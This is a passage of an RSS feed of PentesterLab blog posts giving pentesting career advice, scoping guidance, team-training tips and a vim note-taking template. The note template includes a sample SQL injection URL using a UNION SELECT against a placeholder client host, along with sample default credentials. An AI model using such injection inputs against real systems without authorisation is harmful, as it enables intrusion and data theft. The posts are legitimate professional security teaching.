            <h6 class="ms-md-5 my-5 fw-normal"><i>“I can’t log in.”</i></h6>
            <p>It’s not precise enough…</p>
            <ol>
              <li>Can you access the application (see above)?</li>
              <li>Can you access the application and can’t log in because the credentials are wrong?</li>
              <li>Can you access the application and can’t log in because the application crashes?</li>
              <li>Do you have a message saying why?</li>
            </ol>
            <p>An essential skill to work (remotely) on the same pentest is accuracy in the information you provide, so as a new pentester being accurate is easy and will make working with you easier…</p>
            <h5 class="fw-bold mt-6 mb-3">Don’t only focus on security</h5>
            <p>To stay up to date, you should read about security. But you should also read about what developers and system administrators do: what software are trendy, what tools (Docker, Ansible) and libraries (<a href="https://pentesterlab.com/exercises/jwt">JWT</a> for example) are now used everywhere… If people are using something more and more, it’s likely that you will need to look into it in the close future.</p>
            <p>You also need to learn about work methodology. If you have never heard of Agile development/ DevOps/… things are going to get awkward really quick if you work with startups for example.</p>
            <p>It’s also a really good way to get a talk at a local conference. Find the latest subject people are talking about in the development community and add the word “security” in front of it. If you are one of the first persons working on this subject, you are likely to be accepted in a conference. Most attendees are after new content; this is why most conferences’ organisers easily go for this kind of presentations.</p>
            <h5 class="fw-bold mt-6 mb-3">Don’t work on your own</h5>
            <p>Especially, when you start in security. Avoid being on your own, you will be likely to miss something. You need more than one brain to perform a pentest and every tester has his own knowledge and methods. Mixing testers on a pentest is a good way to ensure that the test is performed correctly. For example, some testers will be looking at finding all the bugs where others will focus on finding the hard-core stuff. It also depends a lot on how well the tester know a technology, working with someone will show you new tricks, things you didn’t think about or new way to test something.</p>
            <h5 class="fw-bold mt-6 mb-3">Internet is not forever</h5>
            <p>A common mistake that most people do is to think that information or websites will always be there. Unfortunately, you will quickly learn (at your own expenses) that websites disappear and information gets removed. That’s why you probably want to save important information such as:</p>
            <ol>
              <li>Exploits, exploitation write-up, bugs reports</li>
              <li>Scripts and tools;</li>
              <li>Documentation, write-ups;</li>
              <li>…</li>
            </ol>
            <p>Nothing is more frustrating than realising that the blog post with working exploit for CVE-XXXX-XXXX you read 2 days ago disappeared and no one mirrored its content.</p>
            <h5 class="fw-bold mt-6 mb-3">Spend some time doing some code review</h5>
            <p>When you are doing penetration testing, you don’t necessarily have the time to see what the code behind a bug is. However, reading vulnerable code is a really good way to have a better understanding of an issue (and how to fix it).</p>
            <p>If you don’t have access to source code as part of your daily testing, a good way to read some interesting code is to check the source code of security advisories. You will find information on the vulnerable code (what you need to look for in your next test) and the patch (what you need to recommend if you find this type of issues). If you do that for well-known projects, it will probably get you to learn about issues you may not have seen before.</p>
            <p>A good way to speed up penetration testing is to have both the application and the source code available. Some vulnerabilities are indeed easier to spot on a live application and others are easier to spot in the source code. It also allows you to find patterns of vulnerability in the application and check whether or not this pattern is repeated in the source code.</p>
            <h5 class="fw-bold mt-6 mb-3">Don’t work on too many projects</h5>
            <p>Penetration testing requires a lot of focus and it’s really hard to stay focus and provide a good test if you spend your time juggling between projects. Ideally, you should only work on one project at a time and at least have one day of non-billable between two projects. This day can be used for the following tasks: updating your system, keeping notes on your previous test, working on a specific issue/bug, researching your next test…</p>
            <p>The same applies to your research, don’t work on too many things. You want to go deep on few subjects and not being average at a lot of things (read more: <a href="https://en.wikipedia.org/wiki/T-shaped_skills">T-Shape Skills</a>).</p>
            <h5 class="fw-bold mt-6 mb-3">Read security news</h5>
            <p>But…Instead of spending your time reading all the security news you can find, pick one bug/vulnerability and work on it!</p>
            <p>Dig deeper maybe write a small detailed explanation on it, share it or publish it on a blog. You will get far more value from inspecting deeply an issue to understand his cause and consequences than just reading hundred of security bugs and not paying attention to the details.</p>
            <p>Furthermore, it helps you stand out from the crowd. If you have a vulnerability in a product, hundreds of person will tweet about it or comment on social media. Only few people will do a deeper analysis and provide exploits or additional information. Be one of them!</p>
            <h5 class="fw-bold mt-6 mb-3">To conclude</h5>
            <p>Thanks for reading, we will probably add more advice in the future. In the meantime, you should probably check-out our free bootcamp if you’re looking at improving your skills!</p>
          </div>

            

            

]]>
      </description>
      <pubDate>Mon, 27 Mar 2017 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/advice-for-new-pentesters</link>
      <guid>https://pentesterlab.com/blog/advice-for-new-pentesters</guid>
    </item>
    <item>
      <title>Scoping a pentest</title>
      <description>
        <![CDATA[            <div>
              <p>Scoping is one of the most important parts of a penetration testing engagement as it will determine if you will be able to do a good job:</p>
              <ul>
                <li>Not enough time: you will struggle to finish in time, and you will miss things or provide an incomplete report.</li>
                <li>Too much time: the client is not going to buy your services (and you are likely to fall into the “not enough time” category for the next job if you need money).</li>
                <li>Perfect… good job, but remember, things can still go wrong.</li>
              </ul>
              <h4 class="ms-md-5 my-5 fw-normal">The goal is to find the right balance to provide a level of testing matching a realistic threat without wasting clients’ money</h4>
           
              <p>The best way to scope an application is to perform a lot of testing and know how much time you spent on them and if it was enough or not.</p>
              <h4 class="ms-md-5 my-5 fw-normal">You can obviously spend weeks and weeks on the same engagement and try to find some 0–days but it is unlikely that most clients will be willing to pay for this.</h4>
              <p>There are a lot of factors to take into account during the scoping of an application:</p>
              <ul>
                <li>Criticality of the application. The security required for a personal blog is different from an online banking application.</li>
                <li>Where the testing has to be done (onsite/offsite). Being offsite can make you more productive as you will be able to get help from your team. Also, this type of jobs are easier to schedule.</li>
                <li>Approximate number of IP addresses, Systems involved, Pages and parameters for websites…. Everything that give you an idea of the volume of testing.</li>
                <li>WAF/IDS that may slow your testing down.</li>
                <li>If the testing has to be performed in a production environment (you will need to be more careful and avoid automated tools).</li>
                <li>Number of updates need to be sent to the client and meetings. Loosing an hour every day will slow down your testing. Spending one hour per day in meeting for a week is equivalent to losing one full day of testing (if you factor in the time to prepare the meeting, go to the meeting, send updates, refocus...).</li>
                <li>…</li>
              </ul>
              <p>Another thing to take into account is if the testing as to be done against third-party infrastructure (Amazon EC2, Hosting companies). That may add some requirements that will take more time.</p>
              <p>Based on your knowledge of the clients, adding some buffer can help to stay on schedule. For example, if you know that the environment will not be ready on the first day of testing, make sure you include that during the scoping.</p>
              <p>Make sure you keep all the information you have and provide them to the testers (it may not be you). The account(s) used to access the application are likely to be reused and you don’t want the people testing the application asking the clients for them:</p>
              <ul>
                <li>You will waste time waiting for the answer.</li>
                <li>You (your company) will look disorganised.</li>
              </ul>
              <p>For some good clients (and after asking), it is sometimes tolerate to have a quick poke around during testing… Finding a bug during this step usually helps a lot to seal the deal (you however don’t want to try to hard and break something).</p>
              <h5 class="fw-bold mt-4">Scoping meeting</h5>
              <p>Sometimes, the scoping will be done as part of a “scoping meeting”. If it happens, you need to be prepared: ask for any documentation you can get beforehand and carefully read it.</p>
              <p>These meetings are also a good time to ask as much questions as possible:</p>
              <ul>
                <li>What the application does?</li>
                <li>Do they have a go-live date? Does the testing need to happen at a specific time (after-hours?)?</li>
                <li>Why they want to test the application? This sounds silly but it may really change how you can help your clients and create a proposal that better suits their needs.</li>
                <li>Who can you contact if you have further questions?</li>
                <li>Biggest risk they can think of for the system they want to see tested</li>
              </ul>
              <p>A lot of clients think that penetration testers are a bunch of keyboard cow-boys. Looking organised and structured will help them trust you: “They are the right people for the job” should be in their mind when you leave.</p>
              <p>You also needs to look smart (not arrogant, smart…), this is what you are trying to sell. You are smart, you will find more bugs and do a better job. When you are selling penetration testing, you are selling brain-time.</p>
              <p>If you have information try to think about threats. If you know what the application is doing, think of all the malicious ways you can take advantages of it and discuss it during the meeting.</p>
              <p>If you have information on the technology they are using make sure you know about it, you understand it, and know common issues impacting it. If they have a JBoss server in scope, know what are the most common issues with this server and what you will check (they may ask you).</p>
              <h5 class="fw-bold mt-4">An example</h5>
              <p>Let’s look at a quick example to give you an idea of how you can/should scope for a given test…</p>
              <p>Let’s take a vitrine website for a small company. The website is tiny and is used to provide information to clients and allow them to search the website and request information through a contact form. The application is pretty simple and is based on Drupal. Limited testing needs to be performed on a network level, only the application is in scope.</p>
              <p>To perform this kind of test, you will need between 2 and 3 days with one person including writing the report and quality assurance. This kind of pentest cannot really be splat between two people (however it’s always a good idea to get someone else to have a quick look to make sure you have not missing something obvious).</p>
              <p>You can speed up this type of testing (and lower the number of days) if you have a bit of automation around web application discovery and fingerprinting of common frameworks. So 2 or 3 days should be fine.</p>
              <h5 class="fw-bold mt-4">How to get started as a beginner?</h5>
              <p>To get started, you can keep a list of all the pentests you did with:</p>
              <ul>
                <li>Number of day/cost.</li>
                <li>Did you have enough or too much time?</li>
                <li>Why did you need more/less time?</li>
              </ul>
              <p>Once you have practice this for few months, ask to do “unofficial” scoping. When a client comes up, do the scoping on your own (price/number of days) while a senior tester is doing the real one. Then compare the figures and explain how you came up with this number. Then ask the senior how he came up with his/her number</p>
              <h5 class="fw-bold mt-4">Share&Educate</h5>
              <p>Some time, you will also need to “educate the client”. Despite “being always right”, some clients don’t always have a clear understanding of threats (or they may be buying their first pentest). [If you know the clients well enough,] it’s often worth introducing different ways to look at the testing.</p>
              <p>For example, your client wants a “Red Team” testing for one month. And you know that they have unpatched systems all over the place, no network segregation, and internet-facing applications written in PHP from 2009. It may be worth suggesting another approach to the testing. For example by doing a pentest for 5 days, an internal audit of critical systems and SOE images for 5/10 days, and taking it from there.</p>
              <h5 class="fw-bold mt-4">Conclusion</h5>
              <p>I hope this article gave you a bit of an inside of the “art” of scoping a penetration testing. When you start your career it’s seems like a really daunting tasks, but it gets easier and easier with practice.</p>
            </div> 

]]>
      </description>
      <pubDate>Fri, 10 Mar 2017 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/scoping-pentest</link>
      <guid>https://pentesterlab.com/blog/scoping-pentest</guid>
    </item>
    <item>
      <title>How to keep your pentest team on top of their game</title>
      <description>
        <![CDATA[           <div>
            <p>Ensuring that your team stays up-to-date is a hard problem. The security field is always evolving and new vulnerabilities and attacks get published every day.</p>
            <div class="d-flex justify-content-center my-5">
              <svg width="59" height="6" viewBox="0 0 59 6" fill="none" xmlns="http://www.w3.org/2000/svg">
                <circle cx="3" cy="3" r="3" fill="#686868"/>
                <circle cx="29.3042" cy="3" r="3" fill="#686868"/>
                <circle cx="55.6084" cy="3" r="3" fill="#686868"/>
              </svg>
            </div>
            <p>To ensure that your team knows about all of the new techniques, you can use some of the following ideas:</p>
            <ul>
              <li class="mb-3">Organise weekly talks presented by members of the team. It can be on a recent attack they pulled up, a tool they tested, some issue they read about. You can also invite people from other companies!</li>
              <li class="mb-3">Organise internal Capture-The-Flag. Two or three people put together the challenges and the rest of the team plays.</li>
              <li class="mb-3">Get your team to play Capture-The-Flag. Make sure you check out <a href="https://ctftime.org/">https://ctftime.org</a> for upcoming CTF. It’s definitely a good way to learn new thing and to improve team collaboration.</li>
              <li class="mb-3">Send weekly brain teaser, “how to” or “did you know” by email.</li>
              <li class="mb-3">Encourage sharing and working together. Member of a team learn so much more by working together. New technics, new ways to use a tool….</li>
              <li class="mb-3">Go to conferences and local meetups. This is also a great way to learn new things and meet new people to discuss ideas. A good way to motivate your team is to put the first round of drinks on the company card ;)</li>
            </ul>
            <p>Finally, PentesterLab offers an enterprise version of its offering PentesterLab PRO. By providing new content on a regular basis, we ensure that your team stays on top of their game. And our enterprise account management makes it easy to follow your team’s progress. You can learn more here: <a href="https://pentesterlab.com/pro/enterprise">https://pentesterlab.com/pro/enterprise</a></p>
          </div>

            

            

]]>
      </description>
      <pubDate>Sat, 04 Mar 2017 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/how-to-keep-your-pentest-team-on-top-of-their-game</link>
      <guid>https://pentesterlab.com/blog/how-to-keep-your-pentest-team-on-top-of-their-game</guid>
    </item>
    <item>
      <title>Keeping Notes during a Pentest or Code Review</title>
      <description>
        <![CDATA[            <div>
              <p>Keeping notes is one of the key aspects of penetration testing. In this article I’m going to share some information on how I keep notes during a test.</p> 
              <p>I personally use vim to keep notes. It’s easy and it works for me. The important part is to find a tool that makes you as efficient as possible. It could be Evernote, OneNote, emacs…</p>
              <p>You will see a lot of {{ and }} in the content. It’s due to the usage of <a href="https://vim.fandom.com/wiki/Folding">vim folding:</a></p>
            </div>
            
              <pre class="w-100"><code>set foldmethod=marker
set foldmarker={{,}}</code></pre>
            
            <div>
              <p>I keep all my notes in a file named NOTES. So I end up having one directory per test, with all my notes in the same format. This allows me to do things like:</p>
            </div>

              <pre class="w-100"><code>$ find . -name NOTES -exec grep 'weird bug' {} \;</code></pre>

            <div>
              <p>to find all the pentests with a ‘weird bug’. It’s really handy when you forgot about what test you found a weird behaviour in Weblogic for example... Having notes in a text file allow you to use all your favorite tools and even use Version Controls Systems.</p>
              <p>I obviously don’t recreate the file from scratch every time, I have a template that I just copy over every time I start a new test.</p>
              <p>The template is only one file composed of the following (I splat it in multiple section for clarity):</p>
            </div>

              <pre class="w-100"><code>                           Project’s name
Start date: XX/XX/XXXX
Finish date: XX/XX/XXXX</code></pre>
              
              <div>
                <p>It’s always handy to know what IP address you were attacking from or the DNS servers you were using. That’s why I try to keep as much network related information as possible:</p>
              </div>
              
              <pre class="w-100"><code>{{ Network information
{{ Day1
$ifconfig
[...]
$ cat /etc/resolv.conf
[...]
$ route -n
[...]
}}
}}</code></pre>
              <div>
                <p>If you spend your time looking up emails or asking the client/PM: “What was the password again?”, you’re wasting time. That’s why you should keep this information in hand:</p>
              </div>

              <pre class="w-100"><code>{{ Info/Credentials
- Application1
test/test123
admin/password
- Application2
[still waiting]
}}</code></pre>
              <div>
                <p>Sometime, you have ideas that you can’t explore right now, that’s why I always keep them in a list:</p>
              </div>
               <pre class="w-100"><code>{{ Todos
- double check for XSS in the login form in Application2
- weird behaviour in Application1 /showUser.jsp?id=1'
}}</code></pre>
              <div class="align-self-start">
                <p>Finally, the list of issues, with as much details as possible and key information:</p>
                <ul>
                  <li>authenticated vs unauthenticated</li>
                  <li>screenshot</li>
                  <li>URL</li>
                  <li>…</li>
                </ul>
              </div>
              <pre class="w-100"><code>{{ Issues
[ ] Login form over HTTP for Application1
{{ 
...
}}
[ ] Cookies without Secure flag
{{

[ ] SQL injection in Application2
{{
http://application2.client/index.do?id=1' union select 1,2,3,@@version
screenshot -> application2_sqli_version.png
pre-auth
}}
}}</code></pre>
              <div>
              <p>The little box near the issue’s title is used to know the state of the issue:</p>
              <ul>
                <li>[ ]: new. The issue has not been communicated.</li>
                <li>[-]: communicated. The issue has been communicated to the client/project/…</li>
                <li>[X]: reported. The issue is in the report.</li>
              </ul>
              <p>Keeping clear notes will increase your productivity and the quality of your work. You will know exactly where to look for information and gain velocity.</p>
              <h4 class="ms-md-5 my-5 fw-normal">If two testers have the same skill set, the fastest will find more bugs over the same period of time…</h4>
              <p>Finally, it’s likely that keeping precise notes will help you during meeting to answer questions or provide more details on an issue.</p>
            </div>

]]>
      </description>
      <pubDate>Fri, 03 Mar 2017 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/keeping-notes-during-a-pentest-security-assessment-code-review</link>
      <guid>https://pentesterlab.com/blog/keeping-notes-during-a-pentest-security-assessment-code-review</guid>
    </item>
  </channel>
</rss>
